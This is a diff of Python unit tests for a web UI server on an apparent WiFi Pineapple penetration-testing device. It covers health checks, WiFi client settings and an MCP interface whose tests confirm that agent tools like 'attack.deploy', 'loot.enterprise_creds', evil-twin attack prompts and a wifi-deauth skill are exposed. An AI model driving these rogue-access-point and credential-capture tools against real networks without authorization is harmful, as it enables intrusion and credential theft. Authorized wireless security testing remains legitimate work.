self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
|
||||
result = server.health_check()
|
||||
self.assertTrue(result['pineap_up'])
|
||||
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
|
||||
self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], [r[0] for r in self.runs])
|
||||
self.assertEqual(result['monitor_fixes'], 1)
|
||||
|
||||
def test_down_restarts_pineapd_without_rewriting_uci(self):
|
||||
self.ping_ok = False
|
||||
self.sigsegs = 5
|
||||
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'pineapd restart')
|
||||
self.assertNotIn('pineapd.@ssidpool[0].disable', self.uci_state)
|
||||
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].ssid'], 'QmVlcg==')
|
||||
self.assertFalse(any(r[0][:2] == ['uci', 'set'] for r in self.runs))
|
||||
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
|
||||
self.assertEqual(result['fixes'], 1)
|
||||
|
||||
def test_down_with_pool_already_disabled_restarts_pineapd(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.uci_state['pineapd.wlan2mon.disable'] = '1'
|
||||
self.uci_state['pineapd.wlan2mon.hop'] = '0'
|
||||
self.uci_state['pineapd.wlan1mon.bands'] = '5'
|
||||
self.uci_state['pineapd.wlan0mon.bands'] = '2'
|
||||
self.uci_state['pineapd.wlan1mon.hop'] = '0'
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'pineapd restart')
|
||||
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
|
||||
|
||||
def test_down_does_not_stabilize_or_clear_pool(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'pineapd restart')
|
||||
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].ssid'], 'QmVlcg==')
|
||||
self.assertNotIn('pineapd.wlan2mon.disable', self.uci_state)
|
||||
self.assertNotIn('pineapd.wlan1mon.bands', self.uci_state)
|
||||
|
||||
def test_down_without_crash_brings_monitors_up(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.iface_up = {'wlan0mon': True, 'wlan1mon': False}
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
|
||||
self.assertIn(['ip', 'link', 'set', 'wlan1mon', 'up'], [r[0] for r in self.runs])
|
||||
|
||||
def test_down_does_not_disable_pool_regardless_of_sigsegv_history(self):
|
||||
self.ping_ok = False
|
||||
server._health['sigsegv_last'] = 4
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'pineapd restart')
|
||||
self.assertNotIn('pineapd.@ssidpool[0].disable', self.uci_state)
|
||||
|
||||
def test_fix_cooldown_prevents_thrash(self):
|
||||
self.ping_ok = False
|
||||
server._health['last_fix'] = server.time.time() - 30
|
||||
server.health_check()
|
||||
server.health_check()
|
||||
fixes = [r for r in self.runs if r[0][0] == '/etc/init.d/pineapd']
|
||||
self.assertEqual(len(fixes), 1, 'cooldown must allow only one restart')
|
||||
|
||||
def test_health_endpoint_shape(self):
|
||||
server._health['sigsegv_last'] = 7
|
||||
status, payload = server.h_health(type('C', (), {'query': {}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['sigsegv_count'], 7)
|
||||
self.assertIn('wlan1mon_up', payload)
|
||||
self.assertIn('pool_disabled', payload)
|
||||
|
||||
|
||||
class SupervisorExtrasTest(unittest.TestCase):
|
||||
def runTestWith(self): # helper: reuse existing setUp fake_run
|
||||
pass
|
||||
|
||||
def test_mem_percent_math(self):
|
||||
import tempfile
|
||||
content = 'MemTotal: 250000 kB\nMemAvailable: 100000 kB\n'
|
||||
path = tempfile.mktemp()
|
||||
open(path, 'w').write(content)
|
||||
self.assertEqual(server._mem_percent(path), 60)
|
||||
|
||||
def test_health_reparks_resurrected_dummy_sta(self):
|
||||
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
|
||||
with mock.patch.object(
|
||||
server, '_sta_uplink_enabled', return_value=True), \
|
||||
mock.patch.object(
|
||||
server, '_park_dummy_sta') as park, \
|
||||
mock.patch.object(
|
||||
server, '_raise_monitors', return_value=[]), \
|
||||
mock.patch('mk8_guard.reconcile',
|
||||
return_value={'changed': [], 'pool_cleared': False,
|
||||
'monitors_raised': []}) as rec:
|
||||
h = server.health_check()
|
||||
park.assert_called_once()
|
||||
rec.assert_called_once()
|
||||
self.assertEqual(server._health['ticks'],
|
||||
server.HEALTH_STA_PARK_INTERVAL)
|
||||
# not on interval ticks: no re-park, no reconcile
|
||||
server._health['ticks'] = 1
|
||||
with mock.patch.object(
|
||||
server, '_sta_uplink_enabled', return_value=True), \
|
||||
mock.patch.object(
|
||||
server, '_park_dummy_sta') as park, \
|
||||
mock.patch('mk8_guard.reconcile') as rec:
|
||||
server.health_check()
|
||||
park.assert_not_called()
|
||||
rec.assert_not_called()
|
||||
|
||||
def test_health_reconcile_journals_changed_keys(self):
|
||||
import mk8_events
|
||||
events = []
|
||||
old_log = mk8_events.log_event
|
||||
old_run = server.device_run
|
||||
old_iface = server._iface_up
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
if a[:2] == ['pidof', 'pineapd']:
|
||||
return (0, '12345\n', '')
|
||||
if a[:2] == ['ip', 'link', 'show']:
|
||||
return (0, '4: wlan0mon: <UP> state unknown', '')
|
||||
return (0, '', '')
|
||||
|
||||
mk8_events.log_event = lambda kind, **kw: events.append((kind, kw))
|
||||
server.device_run = fake_run
|
||||
server._iface_up = lambda name: True
|
||||
old_ticks = server._health.get('ticks')
|
||||
try:
|
||||
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
|
||||
with mock.patch.object(server, '_sta_uplink_enabled',
|
||||
return_value=False), \
|
||||
mock.patch.object(server, '_raise_monitors',
|
||||
return_value=[]), \
|
||||
mock.patch('mk8_guard.reconcile',
|
||||
return_value={'changed':
|
||||
['pineapd.@pineapd[0].autossidpool'],
|
||||
'pool_cleared': False,
|
||||
'monitors_raised': []}):
|
||||
server.health_check()
|
||||
self.assertTrue(any(k == 'guard_fix' and 'autossidpool' in kw.get('msg', '')
|
||||
for k, kw in events))
|
||||
finally:
|
||||
mk8_events.log_event = old_log
|
||||
server.device_run = old_run
|
||||
server._iface_up = old_iface
|
||||
if old_ticks is None:
|
||||
server._health.pop('ticks', None)
|
||||
else:
|
||||
server._health['ticks'] = old_ticks
|
||||
|
||||
def test_health_reports_events_and_counters(self):
|
||||
import mk8_events
|
||||
mk8_events.log_event('restart', msg='x')
|
||||
status, h = server.h_health(None)
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn('events', h)
|
||||
self.assertIn('boots', h['reliability'])
|
||||
|
||||
def test_boot_marker_detects_unexpected(self):
|
||||
import mk8_events, tempfile, os
|
||||
marker = tempfile.mktemp()
|
||||
old = server.BOOT_MARKER
|
||||
server.BOOT_MARKER = marker
|
||||
try:
|
||||
open(marker, 'w').write('0')
|
||||
self.assertTrue(server.check_boot_marker())
|
||||
os.unlink(marker)
|
||||
self.assertFalse(server.check_boot_marker())
|
||||
finally:
|
||||
server.BOOT_MARKER = old
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
|
||||
class HopBaselineTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.runs = []
|
||||
self.old_run = server.device_run
|
||||
self.old_iface = server._iface_up
|
||||
server._iface_up = lambda name: True
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
self.runs.append(a)
|
||||
if a[:2] == ['pidof', 'pineapd']:
|
||||
return (0, '123\n', '')
|
||||
if a[:3] == ['uci', 'get', 'pineapd.wlan1mon.hop']:
|
||||
return (0, self.hop + '\n', '')
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
self.hop = '0'
|
||||
|
||||
def tearDown(self):
|
||||
server.device_run = self.old_run
|
||||
server._iface_up = self.old_iface
|
||||
server._health['ticks'] = 0
|
||||
|
||||
def test_resume_called_when_not_held(self):
|
||||
import unittest.mock as um
|
||||
old_held = server._HOP_PAUSE_HELD
|
||||
server._HOP_PAUSE_HELD = False
|
||||
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
|
||||
try:
|
||||
with mock.patch.object(server, '_sta_uplink_enabled',
|
||||
return_value=False), \
|
||||
mock.patch.object(server, '_raise_monitors',
|
||||
return_value=[]), \
|
||||
mock.patch('mk8_guard.reconcile',
|
||||
return_value={'changed': [], 'pool_cleared': False,
|
||||
'monitors_raised': []}):
|
||||
server.health_check()
|
||||
sets = [r for r in self.runs
|
||||
if r[:3] == ['uci', 'set', 'pineapd.wlan1mon.hop=1']]
|
||||
self.assertEqual(len(sets), 1)
|
||||
finally:
|
||||
server._HOP_PAUSE_HELD = old_held
|
||||
|
||||
def test_resume_skipped_while_pause_held(self):
|
||||
old_held = server._HOP_PAUSE_HELD
|
||||
server._HOP_PAUSE_HELD = True
|
||||
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
|
||||
try:
|
||||
with mock.patch.object(server, '_sta_uplink_enabled',
|
||||
return_value=False), \
|
||||
mock.patch.object(server, '_raise_monitors',
|
||||
return_value=[]), \
|
||||
mock.patch('mk8_guard.reconcile',
|
||||
return_value={'changed': [], 'pool_cleared': False,
|
||||
'monitors_raised': []}):
|
||||
server.health_check()
|
||||
sets = [r for r in self.runs
|
||||
if r[:3] == ['uci', 'set', 'pineapd.wlan1mon.hop=1']]
|
||||
self.assertEqual(len(sets), 0)
|
||||
finally:
|
||||
server._HOP_PAUSE_HELD = old_held
|
||||
@@ -0,0 +1,123 @@
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
def ctx(body=None, headers=None):
|
||||
H = type('H', (), {'headers': headers or {}})()
|
||||
return type('C', (), {'body': body, 'args': (), 'query': {}, 'h': H})()
|
||||
|
||||
|
||||
class McpDispatchTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tmp = tempfile.mkdtemp(prefix='pager-mcp-')
|
||||
self.old_session = server.SESSION_FILE
|
||||
self.old_device_run = server.device_run
|
||||
self.old_daemon_sock_call = server.daemon_sock_call
|
||||
server.SESSION_FILE = os.path.join(self.tmp, 'session.json')
|
||||
with open(server.SESSION_FILE, 'w') as f:
|
||||
import json
|
||||
json.dump({'token': 't0k3n', 'serverid': 'x'}, f)
|
||||
server.device_run = lambda args, timeout=20, input_data=None: (0, '', '')
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {
|
||||
'pineap_disabled': False, 'pineape_disabled': True,
|
||||
'autossidpool': True})
|
||||
|
||||
def tearDown(self):
|
||||
server.SESSION_FILE = self.old_session
|
||||
server.device_run = self.old_device_run
|
||||
server.daemon_sock_call = self.old_daemon_sock_call
|
||||
shutil.rmtree(self.tmp)
|
||||
|
||||
def msg(self, method, params=None, mid=1, jsonrpc='2.0'):
|
||||
m = {'jsonrpc': jsonrpc, 'id': mid, 'method': method}
|
||||
if params is not None:
|
||||
m['params'] = params
|
||||
return m
|
||||
|
||||
def test_initialize_negotiates_protocol(self):
|
||||
status, body = server._mcp_dispatch(self.msg('initialize', {'protocolVersion': '2025-06-18'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['result']['protocolVersion'], '2025-06-18')
|
||||
self.assertIn('tools', body['result']['capabilities'])
|
||||
self.assertEqual(body['result']['serverInfo']['name'], 'mark-viii')
|
||||
|
||||
def test_tools_list_has_attack_and_recon_tools(self):
|
||||
status, body = server._mcp_dispatch(self.msg('tools/list'))
|
||||
names = [t['name'] for t in body['result']['tools']]
|
||||
self.assertIn('attack.deploy', names)
|
||||
self.assertIn('device.state', names)
|
||||
self.assertIn('recon.isearch', names)
|
||||
self.assertIn('loot.enterprise_creds', names)
|
||||
|
||||
def test_tools_call_unknown_tool_errors(self):
|
||||
status, body = server._mcp_dispatch(self.msg('tools/call', {'name': 'nope', 'arguments': {}}))
|
||||
self.assertEqual(body['error']['code'], -32602)
|
||||
|
||||
def test_ping(self):
|
||||
status, body = server._mcp_dispatch(self.msg('ping'))
|
||||
self.assertEqual(body['result'], {})
|
||||
|
||||
def test_notifications_initialized_returns_202(self):
|
||||
status, body = server._mcp_dispatch({'jsonrpc': '2.0', 'method': 'notifications/initialized'})
|
||||
self.assertEqual(status, 202)
|
||||
self.assertIsNone(body)
|
||||
|
||||
def test_resources_list_includes_skills(self):
|
||||
status, body = server._mcp_dispatch(self.msg('resources/list'))
|
||||
uris = [r['uri'] for r in body['result']['resources']]
|
||||
self.assertIn('skills://pineapple-control', uris)
|
||||
self.assertIn('device://state', uris)
|
||||
|
||||
def test_prompts_list_includes_playbooks(self):
|
||||
status, body = server._mcp_dispatch(self.msg('prompts/list'))
|
||||
names = [p['name'] for p in body['result']['prompts']]
|
||||
self.assertIn('evil-wpa-attack', names)
|
||||
self.assertIn('evil-enterprise-attack', names)
|
||||
|
||||
def test_bad_jsonrpc_rejected(self):
|
||||
status, body = server._mcp_dispatch({'jsonrpc': '1.0', 'id': 1, 'method': 'ping'})
|
||||
self.assertEqual(body['error']['code'], -32600)
|
||||
|
||||
def test_endpoint_auth_accepts_bearer_token(self):
|
||||
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer t0k3n'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['result'], {})
|
||||
|
||||
def test_endpoint_auth_rejects_bad_token(self):
|
||||
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer wrong'}))
|
||||
self.assertEqual(status, 401)
|
||||
|
||||
def test_deploy_tool_wraps_attack_handler(self):
|
||||
server._uci_wifi_iface = lambda name: {}
|
||||
server._uci_section = lambda name: {}
|
||||
server._verify_iface = lambda name, timeout=20: True
|
||||
server._allow_all_ssids = lambda: True
|
||||
server._deploy_enterprise = lambda args: {'ok': True, 'verified': True,
|
||||
'iface': 'wlan1ent', 'band': '5'}
|
||||
status, body = server._mcp_dispatch(self.msg('tools/call', {
|
||||
'name': 'attack.deploy',
|
||||
'arguments': {'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2', 'channel': 36}}))
|
||||
self.assertEqual(status, 200)
|
||||
text = body['result']['content'][0]['text']
|
||||
self.assertIn('"verified": true', text)
|
||||
|
||||
def test_capabilities_endpoint(self):
|
||||
status, body = server.h_harness_capabilities(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['endpoint'], '/mcp')
|
||||
self.assertIn('attack.deploy', [t['name'] for t in body['tools']])
|
||||
self.assertIn('skills://wifi-deauth', [r['uri'] for r in body['resources']])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -41,6 +41,26 @@ class PayloadsProxyTest(unittest.TestCase):
|
||||
server.h_payloads_remove(type('C', (), {'args': (), 'body': {'key': 'nautilus'}})())
|
||||
self.assertTrue(any(m == 'POST' and '/api/payloads/portal/nautilus/remove' in p for m, p in calls))
|
||||
|
||||
def test_install_surfaces_daemon_error_detail(self):
|
||||
server.daemon_call = lambda m, p, body=None, token=None, timeout=15: (
|
||||
500, {'error': 'network error: Get "https://downloads.hak5.org/.../download": dial tcp: lookup downloads.hak5.org on [::1]:53: server misbehaving'})
|
||||
server.current_token = lambda: 'tok'
|
||||
status, payload = server.h_payloads_install(type('C', (), {
|
||||
'args': (), 'body': {'key': 'recon~client~recon_reporter'}})())
|
||||
self.assertEqual(status, 500)
|
||||
self.assertIn('downloads.hak5.org', payload['detail'])
|
||||
|
||||
def test_install_unwraps_raw_json_daemon_error(self):
|
||||
server.daemon_call = lambda m, p, body=None, token=None, timeout=15: (
|
||||
500, '{"error":"network error: Get \\"https://downloads.hak5.org/...\\": dial tcp: lookup downloads.hak5.org on [::1]:53: server misbehaving"}\n')
|
||||
server.current_token = lambda: 'tok'
|
||||
status, payload = server.h_payloads_install(type('C', (), {
|
||||
'args': (), 'body': {'key': 'recon~client~recon_reporter'}})())
|
||||
self.assertEqual(status, 500)
|
||||
self.assertIn('network error', payload['detail'])
|
||||
self.assertIn('downloads.hak5.org', payload['detail'])
|
||||
self.assertNotIn('{', payload['detail'])
|
||||
|
||||
def test_installed_inventory_flattens_firmware_records(self):
|
||||
old = server._payload_daemon
|
||||
server._payload_daemon = lambda method, path, body=None: (200, [{
|
||||
@@ -133,6 +153,26 @@ class LoggingTest(unittest.TestCase):
|
||||
self.assertEqual(server._line_count(
|
||||
type('C', (), {'query': {'lines': '-10'}})(), 200), 0)
|
||||
|
||||
def test_system_uses_bounded_logread(self):
|
||||
calls = []
|
||||
|
||||
def fake(args, timeout=20, input_data=None):
|
||||
calls.append(list(args))
|
||||
return (0, '\n'.join('line%d' % i for i in range(20)), '')
|
||||
|
||||
server.device_run = fake
|
||||
status, payload = server.h_logging_system(type('C', (), {
|
||||
'args': (), 'query': {'lines': '5'}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(len(payload['lines']), 5)
|
||||
self.assertTrue(calls)
|
||||
self.assertEqual(calls[0][:2], ['logread', '-l'])
|
||||
|
||||
def test_json_or_and_pool_list_tolerate_empty(self):
|
||||
self.assertIsNone(server._json_or(None))
|
||||
self.assertEqual(server._parse_pool_list(None), [])
|
||||
self.assertEqual(server._unique_keep_order(['a', '', 'a', 'b']), ['a', 'b'])
|
||||
|
||||
|
||||
class SettingsTest(unittest.TestCase):
|
||||
def test_hostname_get(self):
|
||||
@@ -275,5 +315,252 @@ class SettingsTest(unittest.TestCase):
|
||||
self.assertNotIn('password', payload)
|
||||
|
||||
|
||||
class WifiClientModeTest(unittest.TestCase):
|
||||
@staticmethod
|
||||
def fake_device_run(calls, responses):
|
||||
def run(args, timeout=20, input_data=None):
|
||||
calls.append((list(args), timeout))
|
||||
key = (args[0], args[1])
|
||||
return responses.get(key, (0, '', ''))
|
||||
return run
|
||||
|
||||
def test_client_state_parses_disabled(self):
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {
|
||||
('uci', 'show'): (0,
|
||||
"wireless.wlan0cli=wifi-iface\n"
|
||||
"wireless.wlan0cli.ssid='OldNet'\n"
|
||||
"wireless.wlan0cli.disabled='1'\n"
|
||||
"wireless.wlan0cli.routed='0'\n", ''),
|
||||
('iw', 'dev'): (0, '', ''),
|
||||
('ip', '-4'): (0, '', ''),
|
||||
})
|
||||
old = server.device_run
|
||||
server.device_run = run
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client(type('C', (), {})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 200)
|
||||
self.assertFalse(payload['enabled'])
|
||||
self.assertFalse(payload['connected'])
|
||||
self.assertEqual(payload['ssid'], 'OldNet')
|
||||
self.assertFalse(payload['routed'])
|
||||
self.assertEqual(payload['ip'], '')
|
||||
|
||||
def test_client_state_parses_connected(self):
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {
|
||||
('uci', 'show'): (0,
|
||||
"wireless.wlan0cli=wifi-iface\n"
|
||||
"wireless.wlan0cli.ssid='All RPH Guest WIFI'\n"
|
||||
"wireless.wlan0cli.disabled='0'\n"
|
||||
"wireless.wlan0cli.routed='0'\n", ''),
|
||||
('iw', 'dev'): (0,
|
||||
"Connected to 02:18:4a:a7:6a:d9 (on wlan0cli)\n"
|
||||
"\tSSID: All RPH Guest WIFI\n"
|
||||
"\tfreq: 2462\n"
|
||||
"\tsignal: -57 dBm\n", ''),
|
||||
('ip', '-4'): (0,
|
||||
"6: wlan0cli: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500\n"
|
||||
" inet 10.10.10.5/24 brd 10.10.10.255 scope global wlan0cli\n", ''),
|
||||
})
|
||||
old = server.device_run
|
||||
server.device_run = run
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client(type('C', (), {})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['enabled'])
|
||||
self.assertTrue(payload['connected'])
|
||||
self.assertEqual(payload['connected_ssid'], 'All RPH Guest WIFI')
|
||||
self.assertEqual(payload['ip'], '10.10.10.5')
|
||||
self.assertEqual(payload['signal'], -57)
|
||||
self.assertEqual(payload['freq'], 2462)
|
||||
|
||||
def test_scan_parses_networks_and_deduplicates(self):
|
||||
sample = (
|
||||
"BSS 02:18:4a:a7:6a:d2(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -63.00 dBm\n"
|
||||
"\tSSID: Riverwalk Plaza Staff\n"
|
||||
"\tRSN:\t * Version: 1\n"
|
||||
"\t\t * Group cipher: TKIP\n"
|
||||
"\t\t * Pairwise ciphers: CCMP TKIP\n"
|
||||
"\t\t * Authentication suites: PSK\n"
|
||||
"BSS 02:18:4a:a7:6a:d9(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -61.00 dBm\n"
|
||||
"\tSSID: All RPH Guest WIFI\n"
|
||||
"\tRSN:\t * Version: 1\n"
|
||||
"\t\t * Group cipher: CCMP\n"
|
||||
"\t\t * Pairwise ciphers: CCMP\n"
|
||||
"\t\t * Authentication suites: SAE\n"
|
||||
"BSS ea:cb:bc:8e:c5:0e(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -50.00 dBm\n"
|
||||
"\tSSID: OpenGuest\n"
|
||||
"BSS c6:cb:bc:8e:c5:0e(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -55.00 dBm\n"
|
||||
"\tSSID: \\x00\\x00\\x00\\x00\n"
|
||||
"BSS 42:18:4a:a7:6a:d2(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -65.00 dBm\n"
|
||||
"\tSSID: Riverwalk Plaza Staff\n"
|
||||
"\tWPA:\t * Version: 1\n"
|
||||
"\t\t * Group cipher: TKIP\n"
|
||||
"\t\t * Authentication suites: PSK\n")
|
||||
networks = server._parse_wifi_scan(sample)
|
||||
by_ssid = {n['ssid']: n for n in networks}
|
||||
self.assertIn('Riverwalk Plaza Staff', by_ssid)
|
||||
self.assertIn('All RPH Guest WIFI', by_ssid)
|
||||
self.assertIn('OpenGuest', by_ssid)
|
||||
self.assertEqual(by_ssid['Riverwalk Plaza Staff']['encryption'], 'WPA2')
|
||||
self.assertEqual(by_ssid['All RPH Guest WIFI']['encryption'], 'WPA3')
|
||||
self.assertEqual(by_ssid['OpenGuest']['encryption'], 'Open')
|
||||
self.assertEqual(by_ssid['OpenGuest']['channel'], 11)
|
||||
# hidden SSID entries are omitted
|
||||
self.assertNotIn('', by_ssid)
|
||||
# strongest BSS per SSID wins and results are signal-sorted (strongest first)
|
||||
self.assertEqual(networks[0]['ssid'], 'OpenGuest')
|
||||
self.assertEqual(networks[0]['signal'], -50)
|
||||
self.assertGreater(networks[0]['signal'], networks[1]['signal'])
|
||||
|
||||
def test_scan_reports_device_failure(self):
|
||||
old = server.device_run
|
||||
server.device_run = lambda args, timeout=20: (1, '', 'scan not supported')
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_scan(type('C', (), {})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 502)
|
||||
self.assertIn('scan', payload['error'])
|
||||
|
||||
def test_connect_requires_ssid(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
old = server.device_run
|
||||
server.device_run = lambda args, timeout=20: (0, '', '')
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_connect(
|
||||
type('C', (), {'h': H(), 'body': {'encryption': 'open'}})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('SSID', payload['error'])
|
||||
|
||||
def test_connect_rejects_short_password(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
old = server.device_run
|
||||
server.device_run = run
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_connect(
|
||||
type('C', (), {'h': H(), 'body': {'ssid': 'X', 'encryption': 'wpa2', 'password': 'short'}})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('password', payload['error'])
|
||||
self.assertEqual(calls, [])
|
||||
|
||||
def test_connect_writes_uci_and_reloads(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
daemon_calls = []
|
||||
old_run = server.device_run
|
||||
old_sock = server.daemon_sock_call
|
||||
server.device_run = run
|
||||
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (
|
||||
daemon_calls.append((m, p, body)) or (200, {'success': True}))
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_connect(
|
||||
type('C', (), {'h': H(), 'body': {
|
||||
'ssid': 'All RPH Guest WIFI', 'encryption': 'wpa2wpa3',
|
||||
'password': 'Missions1', 'routed': True}})())
|
||||
finally:
|
||||
server.device_run = old_run
|
||||
server.daemon_sock_call = old_sock
|
||||
self.assertEqual(status, 200)
|
||||
sets = [args for args, _t in calls if args[:2] == ['uci', 'set']]
|
||||
expected = {
|
||||
'wireless.wlan0cli.ssid=All RPH Guest WIFI',
|
||||
'wireless.wlan0cli.encryption=sae-mixed',
|
||||
'wireless.wlan0cli.disabled=0',
|
||||
'wireless.wlan0cli.routed=1',
|
||||
'wireless.wlan0cli.key=Missions1',
|
||||
}
|
||||
got = {args[2] for args in sets}
|
||||
self.assertTrue(expected <= got)
|
||||
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
|
||||
self.assertIn((['wifi', 'reload'], 45), calls)
|
||||
self.assertEqual(daemon_calls,
|
||||
[('PUT', '/api/settings/wifi/set_client_route', {'routed': True})])
|
||||
|
||||
def test_connect_open_clears_key(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
old_run = server.device_run
|
||||
old_sock = server.daemon_sock_call
|
||||
server.device_run = run
|
||||
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (200, {'success': True})
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_connect(
|
||||
type('C', (), {'h': H(), 'body': {'ssid': 'OpenGuest', 'encryption': 'open'}})())
|
||||
finally:
|
||||
server.device_run = old_run
|
||||
server.daemon_sock_call = old_sock
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn((['uci', 'delete', 'wireless.wlan0cli.key'], 20), calls)
|
||||
self.assertNotIn((['uci', 'set', 'wireless.wlan0cli.key='], 20), calls)
|
||||
|
||||
def test_route_toggle_writes_uci_and_syncs_daemon(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
daemon_calls = []
|
||||
old_run = server.device_run
|
||||
old_sock = server.daemon_sock_call
|
||||
server.device_run = run
|
||||
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (
|
||||
daemon_calls.append((m, p, body)) or (200, {'success': True}))
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_route(
|
||||
type('C', (), {'h': H(), 'body': {'routed': True}})())
|
||||
finally:
|
||||
server.device_run = old_run
|
||||
server.daemon_sock_call = old_sock
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn((['uci', 'set', 'wireless.wlan0cli.routed=1'], 20), calls)
|
||||
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
|
||||
self.assertEqual(daemon_calls,
|
||||
[('PUT', '/api/settings/wifi/set_client_route', {'routed': True})])
|
||||
|
||||
def test_disconnect_disables_and_reloads(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
old = server.device_run
|
||||
server.device_run = run
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_disconnect(
|
||||
type('C', (), {'h': H(), 'body': {}})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn((['uci', 'set', 'wireless.wlan0cli.disabled=1'], 20), calls)
|
||||
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
|
||||
self.assertIn((['wifi', 'reload'], 45), calls)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
import json, os, sys, tempfile, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import mk8_events
|
||||
|
||||
class EventsTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.dir = tempfile.mkdtemp()
|
||||
self.old = mk8_events.MK8_DIR
|
||||
mk8_events.MK8_DIR = self.dir
|
||||
mk8_events.EVENTS_PATH = os.path.join(self.dir, 'events.log')
|
||||
|
||||
def tearDown(self):
|
||||
mk8_events.MK8_DIR = self.old
|
||||
